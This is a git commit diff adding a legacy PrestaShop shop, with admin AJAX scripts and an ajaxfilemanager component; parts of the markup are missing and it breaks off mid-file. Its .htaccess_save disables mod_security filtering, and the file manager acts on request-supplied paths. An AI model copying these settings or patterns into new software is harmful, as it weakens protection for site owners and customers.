commit ee2dca84ab271695930b18ecf11b57e68cc56101 Author: PLESK5 Date: Mon Oct 10 15:24:25 2016 +0200 push prod diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..16b8db0 --- /dev/null +++ b/.gitignore @@ -0,0 +1,115 @@ +#### GENERAL #### +.htpasswd +.htaccess +*.zip +*.sql +*.tar.gz +*.gzip +download/* +log/* +/www/modules/gamification/ +upload/* +*sitemap.xml + +#### IMAGES #### +img/*/* +!img/index.php +!img/*/index.php + +#### ADMIN #### +adm/backups/* +adm/export/* +adm/import/* +adm/autoupgrade/* +adm/backups/* +!adm/backups/index.php + +#### CACHE #### +themes/*/cache/ +cache/smarty/cache/* +!cache/smarty/cache/index.php +cache/smarty/compile/* +!cache/smarty/compile/index.php +cache/class_index.php +cache/tcpdf/* +!cache/tcpdf/index.php +tools/smarty*/cache/*.php +!tools/smarty*/cache/index.php + +#### CONFIG #### +config/settings.*.php +config/xml/*.xml +config/settings.inc.php +config/settings.old.php +config/xml/*.xml +modules/*/config*.xml + +#### THEME #### +themes/default/cache/*.js +themes/default/cache/*.css +themes/default-bootstrap/cache/*.js +themes/default-bootstrap/cache/*.css + +tools/smarty*/compile/*.php +!tools/smarty*/compile/index.php +themes/default/modules/*/*.php +!themes/default/modules/*/index.php +themes/default/lang/*.php +!themes/default/lang/index.php +themes/default-bootstrap/modules/*/*.php +!themes/default-bootstrap/modules/*/index.php +themes/default-bootstrap/lang/*.php +!themes/default-bootstrap/lang/index.php + +#### TRADUCTIONS #### +translations/* +themes/default-bootstrap/lang/* +themes/default-bootstrap/modules/*/translations/*.php +!themes/default-bootstrap/modules/*/translations/index.php +!translations/*.gzip + +#### MAILS #### +mails/* +!/mails/en +!mails/fr +modules/*/mails/* +!modules/*/mails/en + +#### OTHER #### +.buildpath +.project +.settings +.idea +.svn +.DS_Store +.sass-cache +config.codekit +*.sublime-project +*.sublime-workspace +.zfs/ + +import + +.cache/ +L4 +_themes +*.pdf +adm.php + +modules/**/log/* +modules/**/logs/* +modules/homeslider/images/* +!modules/homeslider/images/index.php +modules/giftcard/img/* +!modules/giftcard/img/index.php +modules/devspepresse/images/* +!modules/devspepresse/images/index.php +modules/devspehomeblocks/images/* +!modules/devspehomeblocks/images/index.php +modules/belvg_blockconstructor/img/* +!modules/belvg_blockconstructor/img/index.php +modules/ganalyticscom/debug/* +!modules/ganalyticscom/debug/index.php +modules/boixmenugaranciaimage/images/* +!modules/boixmenugaranciaimage/images/index.php +modules/psblog/uploads/* diff --git a/.htaccess_save b/.htaccess_save new file mode 100755 index 0000000..79af730 --- /dev/null +++ b/.htaccess_save @@ -0,0 +1,64 @@ + + +# ~~start~~ Do not remove this comment, Prestashop will keep automatically the code outside this comment when .htaccess will be generated again +# .htaccess automaticaly generated by PrestaShop e-commerce open-source solution +# http://www.prestashop.com - http://www.prestashop.com/forums + + + +SecFilterEngine Off +SecFilterScanPOST Off + + + +# Disable Multiviews +Options -Multiviews + +RewriteEngine on + +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule . - [E=REWRITEBASE:/] +RewriteRule ^api/?(.*)$ %{ENV:REWRITEBASE}webservice/dispatcher.php?url=$1 [QSA,L] + + +# Images +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$1$2$3.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$1$2$3$4.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$3/$1$2$3$4$5.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$3/$4/$1$2$3$4$5$6.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$3/$4/$5/$1$2$3$4$5$6$7.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$3/$4/$5/$6/$1$2$3$4$5$6$7$8.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$3/$4/$5/$6/$7/$1$2$3$4$5$6$7$8$9.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])([0-9])(\-[_a-zA-Z0-9-]*)?(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/p/$1/$2/$3/$4/$5/$6/$7/$8/$1$2$3$4$5$6$7$8$9$10.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^c/([0-9]+)(\-[\.*_a-zA-Z0-9-]*)(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/c/$1$2$3.jpg [L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^c/([a-zA-Z_-]+)(-[0-9]+)?/.+\.jpg$ %{ENV:REWRITEBASE}img/c/$1$2.jpg [L] +# AlphaImageLoader for IE and fancybox +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^images_ie/?([^/]+)\.(jpe?g|png|gif)$ js/jquery/plugins/fancybox/images/$1.$2 [L] + +# Dispatcher +RewriteCond %{REQUEST_FILENAME} -s [OR] +RewriteCond %{REQUEST_FILENAME} -l [OR] +RewriteCond %{REQUEST_FILENAME} -d +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^.*$ - [NC,L] +RewriteCond %{HTTP_HOST} ^garanciabeauty.castor.planet-service.net$ +RewriteRule ^.*$ %{ENV:REWRITEBASE}index.php [NC,L] + + +#If rewrite mod isn't enabled +ErrorDocument 404 /index.php?controller=404 + +# ~~end~~ Do not remove this comment, Prestashop will keep automatically the code outside this comment when .htaccess will be generated again + + diff --git a/404.php b/404.php new file mode 100755 index 0000000..5e1707d --- /dev/null +++ b/404.php @@ -0,0 +1,29 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); +Controller::getController('PageNotFoundController')->run(); diff --git a/BO/ajax-tab.php b/BO/ajax-tab.php new file mode 100755 index 0000000..24c751f --- /dev/null +++ b/BO/ajax-tab.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +require(_PS_ADMIN_DIR_.'/../config/config.inc.php'); +require(_PS_ADMIN_DIR_.'/functions.php'); + +// For retrocompatibility with "tab" parameter +if (!isset($_GET['controller']) && isset($_GET['tab'])) + $_GET['controller'] = strtolower($_GET['tab']); +if (!isset($_POST['controller']) && isset($_POST['tab'])) + $_POST['controller'] = strtolower($_POST['tab']); +if (!isset($_REQUEST['controller']) && isset($_REQUEST['tab'])) + $_REQUEST['controller'] = strtolower($_REQUEST['tab']); +// Retrocompatibility with 1.4 +$_REQUEST['ajaxMode'] = $_POST['ajaxMode'] = $_GET['ajaxMode'] = $_REQUEST['ajax'] = $_POST['ajax'] = $_GET['ajax'] = 1; + +Dispatcher::getInstance()->dispatch(); \ No newline at end of file diff --git a/BO/ajax.php b/BO/ajax.php new file mode 100755 index 0000000..8f41e44 --- /dev/null +++ b/BO/ajax.php @@ -0,0 +1,230 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include(_PS_ADMIN_DIR_.'/../config/config.inc.php'); +/* Getting cookie or logout */ +require_once(_PS_ADMIN_DIR_.'/init.php'); + +$context = Context::getContext(); + +if (Tools::isSubmit('changeParentUrl')) + echo ''; +if (Tools::isSubmit('installBoughtModule')) +{ + $file = false; + while ($file === false OR file_exists(_PS_MODULE_DIR_.$file)) + $file = uniqid(); + $file = _PS_MODULE_DIR_.$file.'.zip'; + $sourceFile = 'http://addons.prestashop.com/iframe/getboughtfile.php?id_order_detail='.Tools::getValue('id_order_detail').'&token='.Tools::getValue('token'); + if (!copy($sourceFile, $file)) + { + if (!($content = file_get_contents($sourceFile))) + die(displayJavascriptAlert('Access denied: Please download your module directly from PrestaShop Addons website')); + elseif (!file_put_contents($file, $content)) + die(displayJavascriptAlert('Local error: your module directory is not writable')); + } + $first6 = fread($fd = fopen($file, 'r'), 6); + if (!strncmp($first6, 'Error:', 6)) + { + $displayJavascriptAlert = displayJavascriptAlert(fread($fd, 1024)); + fclose($fd); + unlink($file); + die($displayJavascriptAlert); + } + fclose($fd); + if (!Tools::ZipExtract($file, _PS_MODULE_DIR_)) + { + unlink($file); + die(displayJavascriptAlert('Cannot unzip file')); + } + unlink($file); + die(displayJavascriptAlert('Module copied to disk')); +} + +if (Tools::isSubmit('ajaxReferrers')) +{ + require(_PS_CONTROLLER_DIR_.'admin/AdminReferrersController.php'); +} + +if (Tools::getValue('page') == 'prestastore' AND @fsockopen('addons.prestashop.com', 80, $errno, $errst, 3)) + readfile('http://addons.prestashop.com/adminmodules.php?lang='.$context->language->iso_code); + +if (Tools::isSubmit('getAvailableFields') AND Tools::isSubmit('entity')) +{ + $jsonArray = array(); + $import = new AdminImportController(); + + $fields = $import->getAvailableFields(true); + foreach ($fields AS $field) + $jsonArray[] = '{"field":"'.addslashes($field).'"}'; + die('['.implode(',', $jsonArray).']'); +} + +if (Tools::isSubmit('ajaxProductPackItems')) +{ + $jsonArray = array(); + $products = Db::getInstance()->executeS(' + SELECT p.`id_product`, pl.`name` + FROM `'._DB_PREFIX_.'product` p + NATURAL LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + WHERE pl.`id_lang` = '.(int)(Tools::getValue('id_lang')).' + '.Shop::addSqlRestrictionOnLang('pl').' + AND p.`id_product` NOT IN (SELECT DISTINCT id_product_pack FROM `'._DB_PREFIX_.'pack`) + AND p.`id_product` != '.(int)(Tools::getValue('id_product'))); + + foreach ($products AS $packItem) + $jsonArray[] = '{"value": "'.(int)($packItem['id_product']).'-'.addslashes($packItem['name']).'", "text":"'.(int)($packItem['id_product']).' - '.addslashes($packItem['name']).'"}'; + die('['.implode(',', $jsonArray).']'); +} + +if (Tools::isSubmit('ajaxStates') AND Tools::isSubmit('id_country')) +{ + $states = Db::getInstance()->executeS(' + SELECT s.id_state, s.name + FROM '._DB_PREFIX_.'state s + LEFT JOIN '._DB_PREFIX_.'country c ON (s.`id_country` = c.`id_country`) + WHERE s.id_country = '.(int)(Tools::getValue('id_country')).' AND s.active = 1 AND c.`contains_states` = 1 + ORDER BY s.`name` ASC'); + + if (is_array($states) AND !empty($states)) + { + $list = ''; + if (Tools::getValue('no_empty') != true) + { + $empty_value = (Tools::isSubmit('empty_value')) ? Tools::getValue('empty_value') : '----------'; + $list = ''."\n"; + } + + foreach ($states AS $state) + $list .= ''."\n"; + } + else + $list = 'false'; + + die($list); +} + +if (Tools::getValue('form_language_id')) +{ + if (!($context->cookie->employee_form_lang = (int)(Tools::getValue('form_language_id')))) + die ('Error while updating cookie.'); + die ('Form language updated.'); +} + +if (Tools::isSubmit('submitTrackClickOnHelp')) +{ + $label = Tools::getValue('label'); + $version = Tools::getValue('version'); + + if (!empty($label) && !empty($version)) + HelpAccess::trackClick($label, $version); +} + +if (Tools::isSubmit('toggleScreencast')) +{ + if (Validate::isLoadedObject($context->employee)) + { + $context->employee->bo_show_screencast = !$context->employee->bo_show_screencast; + $context->employee->update(); + } +} + +if (Tools::isSubmit('getChildrenCategories') && Tools::isSubmit('id_category_parent')) +{ + $children_categories = Category::getChildrenWithNbSelectedSubCat(Tools::getValue('id_category_parent'), Tools::getValue('selectedCat'), Context::getContext()->language->id, null, Tools::getValue('use_shop_context')); + die(Tools::jsonEncode($children_categories)); +} + +if (Tools::isSubmit('getNotifications')) +{ + $notification = new Notification; + die(Tools::jsonEncode($notification->getLastElements())); +} + +if (Tools::isSubmit('updateElementEmployee') && Tools::getValue('updateElementEmployeeType')) +{ + $notification = new Notification; + die($notification->updateEmployeeLastElement(Tools::getValue('updateElementEmployeeType'))); +} + +if (Tools::isSubmit('searchCategory')) +{ + $q = Tools::getValue('q'); + $limit = Tools::getValue('limit'); + $results = Db::getInstance()->executeS( + 'SELECT c.`id_category`, cl.`name` + FROM `'._DB_PREFIX_.'category` c + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON (c.`id_category` = cl.`id_category`'.Shop::addSqlRestrictionOnLang('cl').') + WHERE cl.`id_lang` = '.(int)$context->language->id.' AND c.`level_depth` <> 0 + AND cl.`name` LIKE \'%'.pSQL($q).'%\' + GROUP BY c.id_category + ORDER BY c.`position` + LIMIT '.(int)$limit); + if ($results) + foreach ($results as $result) + echo trim($result['name']).'|'.(int)$result['id_category']."\n"; +} + +if (Tools::isSubmit('getParentCategoriesId') && $id_category = Tools::getValue('id_category')) +{ + $category = new Category((int)$id_category); + $results = Db::getInstance()->executeS('SELECT `id_category` FROM `'._DB_PREFIX_.'category` c WHERE c.`nleft` < '.(int)$category->nleft.' AND c.`nright` > '.(int)$category->nright.''); + $output = array(); + foreach ($results as $result) + $output[] = $result; + + die(Tools::jsonEncode($output)); +} + +/* Update attribute */ +if (Tools::isSubmit('ajaxUpdateTaxRule')) +{ + $id_tax_rule = Tools::getValue('id_tax_rule'); + $tax_rules = new TaxRule((int)$id_tax_rule); + $output = array(); + foreach ($tax_rules as $key => $result) + $output[$key] = $result; + die(Tools::jsonEncode($output)); +} + +if (Tools::isSubmit('getZones')) +{ + $zones = Zone::getZones(); + $html = ''; + $array = array('hasError' => false, 'errors' => '', 'data' => $html); + die(Tools::jsonEncode($html)); +} + +function displayJavascriptAlert($s) +{ + echo ''; +} diff --git a/BO/ajax_products_list.php b/BO/ajax_products_list.php new file mode 100755 index 0000000..f14a9a8 --- /dev/null +++ b/BO/ajax_products_list.php @@ -0,0 +1,69 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +define('_PS_ADMIN_DIR_', getcwd()); +include(_PS_ADMIN_DIR_.'/../config/config.inc.php'); +/* Getting cookie or logout */ +require_once(_PS_ADMIN_DIR_.'/init.php'); + +$query = Tools::getValue('q', false); +if (!$query OR $query == '' OR strlen($query) < 1) + die(); + +/* + * In the SQL request the "q" param is used entirely to match result in database. + * In this way if string:"(ref : #ref_pattern#)" is displayed on the return list, + * they are no return values just because string:"(ref : #ref_pattern#)" + * is not write in the name field of the product. + * So the ref pattern will be cut for the search request. + */ +if($pos = strpos($query, ' (ref:')) + $query = substr($query, 0, $pos); + +$excludeIds = Tools::getValue('excludeIds', false); +if ($excludeIds && $excludeIds != 'NaN') + $excludeIds = implode(',', array_map('intval', explode(',', $excludeIds))); +else + $excludeIds = ''; + +// Excluding downloadable products from packs because download from pack is not supported +$excludeVirtuals = (bool)Tools::getValue('excludeVirtuals', false); +$exclude_packs = (bool)Tools::getValue('exclude_packs', false); + +$sql = 'SELECT p.`id_product`, `reference`, pl.name + FROM `'._DB_PREFIX_.'product` p + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pl.id_product = p.id_product AND pl.id_lang = '.(int)Context::getContext()->language->id.Shop::addSqlRestrictionOnLang('pl').') + WHERE (pl.name LIKE \'%'.pSQL($query).'%\' OR p.reference LIKE \'%'.pSQL($query).'%\')'. + (!empty($excludeIds) ? ' AND p.id_product NOT IN ('.$excludeIds.') ' : ' '). + ($excludeVirtuals ? 'AND p.id_product NOT IN (SELECT pd.id_product FROM `'._DB_PREFIX_.'product_download` pd WHERE (pd.id_product = p.id_product))' : ''). + ($exclude_packs ? 'AND (p.cache_is_pack IS NULL OR p.cache_is_pack = 0)' : ''); + +$items = Db::getInstance()->executeS($sql); + +if ($items) + foreach ($items AS $item) + echo trim($item['name']).(!empty($item['reference']) ? ' (ref: '.$item['reference'].')' : '').'|'.(int)($item['id_product'])."\n"; + diff --git a/BO/ajaxfilemanager/_ajax_get_details_listing.php b/BO/ajaxfilemanager/_ajax_get_details_listing.php new file mode 100755 index 0000000..8e049ea --- /dev/null +++ b/BO/ajaxfilemanager/_ajax_get_details_listing.php @@ -0,0 +1,54 @@ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
  
  /> +   
 /> +   >">  
+
\ No newline at end of file diff --git a/BO/ajaxfilemanager/_ajax_get_thumbnail_listing.php b/BO/ajaxfilemanager/_ajax_get_thumbnail_listing.php new file mode 100755 index 0000000..221d10f --- /dev/null +++ b/BO/ajaxfilemanager/_ajax_get_thumbnail_listing.php @@ -0,0 +1,37 @@ +
+ +
+
+ '; + echo '' . "\n"; + break; + case 'fileFlash': + case 'fileVideo': + case 'fileMusic': + break; + default: + echo ' '; + } + ?> + +
+
  class="radio" value="" /> + href="" title="" id="a">
+ +
+ +
\ No newline at end of file diff --git a/BO/ajaxfilemanager/_ajax_load_folders.php b/BO/ajaxfilemanager/_ajax_load_folders.php new file mode 100755 index 0000000..e0c2769 --- /dev/null +++ b/BO/ajaxfilemanager/_ajax_load_folders.php @@ -0,0 +1,19 @@ + + \ No newline at end of file diff --git a/BO/ajaxfilemanager/_ajaxfilemanager.php b/BO/ajaxfilemanager/_ajaxfilemanager.php new file mode 100755 index 0000000..f429864 --- /dev/null +++ b/BO/ajaxfilemanager/_ajaxfilemanager.php @@ -0,0 +1,691 @@ +gc(); + require_once(CLASS_SESSION_ACTION); + $sessionAction = new SessionAction(); + if(CONFIG_LOAD_DOC_LATTER) + { + $fileList = array(); + $folderInfo = array('path'=>getCurrentFolderPath()); + }else + { + require_once(CLASS_MANAGER); + + + $manager = new manager(); + $manager->setSessionAction($sessionAction); + $fileList = $manager->getFileList(); + $folderInfo = $manager->getFolderInfo(); + } + if(CONFIG_SYS_THUMBNAIL_VIEW_ENABLE) + { + $views = array( + 'detail'=>LBL_BTN_VIEW_DETAILS, + 'thumbnail'=>LBL_BTN_VIEW_THUMBNAIL, + ); + }else + { + $views = array( + 'detail'=>LBL_BTN_VIEW_DETAILS, + ); + } + + if(!empty($_GET['view'])) + { + switch($_GET['view']) + { + case 'detail': + case 'thumbnail': + $view = $_GET['view']; + break; + default: + $view = CONFIG_DEFAULT_VIEW; + } + }else + { + $view = CONFIG_DEFAULT_VIEW; + } + +?> + + + + +Ajax File Manager + + + + + + + + + + + + +
+ + +
+ + +
+ + + +
+ +
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
  
+
+ + + + +
+ + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + + + +
+
+ +   + +
+    + /> + /> +
+ + + + +

+ + + + + +

+
+ +
+ +
+
+ + +
+
+ + + + + + + + + + + + \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_create_folder.php b/BO/ajaxfilemanager/ajax_create_folder.php new file mode 100755 index 0000000..78bffad --- /dev/null +++ b/BO/ajaxfilemanager/ajax_create_folder.php @@ -0,0 +1,80 @@ + $value) + $safe_post[Tools::safeOutput($key)] = Tools::safeOutput($value); + displayArray($safe_post); + writeInfo(@ob_get_clean()); + echo "{"; + $error = ""; + $info = ""; +/* $_POST['new_folder'] = substr(md5(time()), 1, 5); + $_POST['currentFolderPath'] = "../../uploaded/";*/ + if(CONFIG_SYS_VIEW_ONLY || !CONFIG_OPTIONS_NEWFOLDER) + { + $error = SYS_DISABLED; + } + elseif(empty($_POST['new_folder'])) + { + $error = ERR_FOLDER_NAME_EMPTY; + }elseif(!preg_match("/^[a-zA-Z0-9_\- ]+$/", $_POST['new_folder'])) + { + $error = ERR_FOLDER_FORMAT; + }else if(empty($_POST['currentFolderPath']) || !isUnderRoot($_POST['currentFolderPath'])) + { + $error = ERR_FOLDER_PATH_NOT_ALLOWED; + } + elseif(file_exists(addTrailingSlash($_POST['currentFolderPath']) . $_POST['new_folder'])) + { + $error = ERR_FOLDER_EXISTS; + }else + { + include_once(CLASS_FILE); + $file = new file(); + if($file->mkdir(addTrailingSlash($_POST['currentFolderPath']) . $_POST['new_folder'], 0775)) + { + include_once(CLASS_MANAGER); + $manager = new manager(addTrailingSlash($_POST['currentFolderPath']) . $_POST['new_folder'], false); + $pathInfo = $manager->getFolderInfo(addTrailingSlash($_POST['currentFolderPath']) . $_POST['new_folder']); + foreach($pathInfo as $k=>$v) + { + switch ($k) + { + + + case "ctime"; + case "mtime": + case "atime": + $v = date(DATE_TIME_FORMAT, $v); + break; + case 'name': + $info .= sprintf(", %s:'%s'", 'short_name', shortenFileName($v)); + break; + case 'cssClass': + $v = 'folderEmpty'; + break; + } + $info .= sprintf(", %s:'%s'", $k, $v); + } + }else + { + $error = ERR_FOLDER_CREATION_FAILED; + } + //$error = "For security reason, folder creation function has been disabled."; + } + echo "error:'" . $error . "'"; + echo $info; + echo "}"; +?> diff --git a/BO/ajaxfilemanager/ajax_delete_file.php b/BO/ajaxfilemanager/ajax_delete_file.php new file mode 100755 index 0000000..22d2b48 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_delete_file.php @@ -0,0 +1,81 @@ +delete(addTrailingSlash(backslashToSlash($_GET['delete']))); + }elseif(is_file($_GET['delete']) + && isValidPattern(CONFIG_SYS_INC_FILE_PATTERN, getBaseName($_GET['delete'])) + && !isInvalidPattern(CONFIG_SYS_EXC_FILE_PATTERN, getBaseName($_GET['delete'])) + ) + { + $file->delete(($_GET['delete'])); + } + } + }else + { + if(!isset($_POST['selectedDoc']) || !is_array($_POST['selectedDoc']) || sizeof($_POST['selectedDoc']) < 1) + { + $error = ERR_NOT_FILE_SELECTED; + } + else + { + + include_once(CLASS_FILE); + $file = new file(); + + foreach($_POST['selectedDoc'] as $doc) + { + if(file_exists($doc) && isUnderRoot($doc)) + { + if(is_dir($doc) + && isValidPattern(CONFIG_SYS_INC_DIR_PATTERN, $doc) + && !isInvalidPattern(CONFIG_SYS_EXC_DIR_PATTERN, $doc)) + { + $file->delete(addTrailingSlash(backslashToSlash($doc))); + }elseif(is_file($doc) + && isValidPattern(CONFIG_SYS_INC_FILE_PATTERN, $doc) + && !isInvalidPattern(CONFIG_SYS_EXC_FILE_PATTERN, $doc) + ) + { + $file->delete($doc); + } + } + + + } + } + } + + echo "{error:'" . $error . "'}"; +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_download.php b/BO/ajaxfilemanager/ajax_download.php new file mode 100755 index 0000000..739625e --- /dev/null +++ b/BO/ajaxfilemanager/ajax_download.php @@ -0,0 +1,35 @@ + getMemoryLimit()) + {//larger then the php memory limit, redirect to the file + + header('Location: ' . $path); + exit; + }else + {//open it up and send out with php + downloadFile($path); + + } + }else + { + die(ERR_DOWNLOAD_FILE_NOT_FOUND); + } +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_editor_reset.php b/BO/ajaxfilemanager/ajax_editor_reset.php new file mode 100755 index 0000000..11a035c --- /dev/null +++ b/BO/ajaxfilemanager/ajax_editor_reset.php @@ -0,0 +1,120 @@ +loadImage($_POST['path']); + + switch($_POST['mode']) + { + case "resize": + if(!$image->resize($_POST['width'], $_POST['height'], (!empty($_POST['constraint'])?true:false))) + { + $error = IMG_SAVE_RESIZE_FAILED; + } + break; + case "crop": + if(!$image->cropToDimensions($_POST['x'], $_POST['y'], (int)($_POST['x']) + (int)($_POST['width']), (int)($_POST['y']) + (int)($_POST['height']))) + { + $error = IMG_SAVE_CROP_FAILED; + } + + break; + case "flip": + if(!$image->flip($_POST['flip_angle'])) + { + $error = IMG_SAVE_FLIP_FAILED; + } + break; + case "rotate": + if(!$image->rotate((int)($_POST['angle']))) + { + $error = IMG_SAVE_ROTATE_FAILED; + } + break; + default: + $error = IMG_SAVE_UNKNOWN_MODE; + } + if(empty($error)) + { + + $sessionNewPath = $session->getSessionDir() . uniqid(md5(time())) . "." . getFileExt($_POST['path']); + if(!@copy($_POST['path'], $sessionNewPath)) + { + $error = IMG_SAVE_BACKUP_FAILED; + }else + { + addSessionHistory($_POST['path'], $sessionNewPath); + if($image->saveImage($_POST['path'])) + { + $imageInfo = $image->getFinalImageInfo(); + $info .= ",width:" . $imageInfo['width'] . "\n"; + $info .= ",height:" . $imageInfo['height'] . "\n"; + $info .= ",size:'" . transformFileSize($imageInfo['size']) . "'\n"; + }else + { + $error = IMG_SAVE_FAILED; + } + } + }else + { + //$image->DestroyImages(); + } + }else + { + $error = IMG_SAVE_UNKNOWN_MODE; + } + } + + echo "error:'" . $error . "'\n"; + if(isset($image) && is_object($image)) + { + $image->DestroyImages(); + } + echo $info; + echo ",history:" . sizeof($_SESSION[$_POST['path']]) . "\n"; + echo "}"; +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_file_copy.php b/BO/ajaxfilemanager/ajax_file_copy.php new file mode 100755 index 0000000..ed38fee --- /dev/null +++ b/BO/ajaxfilemanager/ajax_file_copy.php @@ -0,0 +1,37 @@ +setAction($_POST['action_value']); + $sessionAction->setFolder($_POST['currentFolderPath']); + $sessionAction->set($_POST['selectedDoc']); + $info = ',num:' . sizeof($_POST['selectedDoc']); + } + echo "{error:'" . $error . "'\n" . $info . "}"; +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_file_cut.php b/BO/ajaxfilemanager/ajax_file_cut.php new file mode 100755 index 0000000..024150a --- /dev/null +++ b/BO/ajaxfilemanager/ajax_file_cut.php @@ -0,0 +1,38 @@ +setAction($_POST['action_value']); + $sessionAction->setFolder($_POST['currentFolderPath']); + $sessionAction->set($_POST['selectedDoc']); + $info = ',num:' . sizeof($_POST['selectedDoc']); + } + echo "{error:'" . $error . "'\n" . $info . "}"; +?> \ No newline at end of file diff --git a/BO/ajaxfilemanager/ajax_file_paste.php b/BO/ajaxfilemanager/ajax_file_paste.php new file mode 100755 index 0000000..0ffff81 --- /dev/null +++ b/BO/ajaxfilemanager/ajax_file_paste.php @@ -0,0 +1,142 @@ +setSessionAction($sessionAction); + $selectedDocuments = $sessionAction->get(); + + $destFolderPath = addTrailingSlash(backslashToSlash($_GET['current_folder_path'])); + + + if(sizeof($selectedDocuments)) + { + //get all files within the destination folder + $allDocs = array(); + if(($fh = @opendir($_GET['current_folder_path']))) + { + while(($file = readdir($fh)) && $file != '.' && $file != '..') + { + $allDocs[] = getRealPath($destFolderPath . $file); + } + } + closedir($fh); + include_once(CLASS_FILE); + $file = new file(); + //check if all files are allowed to cut or copy + + foreach($selectedDocuments as $doc) + { + if(file_exists($doc) && isUnderRoot($doc) ) + { + + if( array_search(getRealPath($doc), $allDocs) === false || CONFIG_OVERWRITTEN) + { + if(CONFIG_OVERWRITTEN) + { + $file->delete($doc); + } + if($file->copyTo($doc, $_GET['current_folder_path'])) + { + + $finalPath = $destFolderPath . basename($doc); + $objFile = new file($finalPath); + $tem = $objFile->getFileInfo(); + $obj = new manager($finalPath, false); + + $fileType = $obj->getFileType($finalPath, (is_dir($finalPath)?true:false)); + + foreach($fileType as $k=>$v) + { + $tem[$k] = $v; + } + +/* foreach ($folderInfo as $k=>$v) + { + $tem['i_' . $k] = $v; + } + if($folderInfo['type'] == 'folder' && empty($folderInfo['subdir']) && empty($folderInfo['file'])) + { + $tem['cssClass'] = 'folderEmpty'; + }*/ + + $tem['final_path'] = $finalPath; + $tem['path'] = backslashToSlash($finalPath); + $tem['type'] = (is_dir($finalPath)?'folder':'file'); + $tem['size'] = @transformFileSize($tem['size']); + $tem['ctime'] = date(DATE_TIME_FORMAT, $tem['ctime']); + $tem['mtime'] = date(DATE_TIME_FORMAT, $tem['mtime']); + $tem['flag'] = 'noFlag'; + $tem['url'] = getFileUrl($doc); + + $manager = null; + if($sessionAction->getAction() == "cut") + { + $file->delete($doc); + } + $fileMoved[sizeof($fileMoved)] = $tem; + $tem = null; + } + }else + { + $unmovedDocDueToSamePath[] = $doc; + } + + } + } + + $sessionAction->set(array()); + } + if(sizeof($unmovedDocDueToSamePath) == sizeof($selectedDocuments)) + { + $error = ERR_DEST_FOLDER_NOT_ALLOWED; + }elseif(sizeof($unmovedDocDueToSamePath)) + { + foreach($unmovedDocDueToSamePath as $v) + { + $error .= 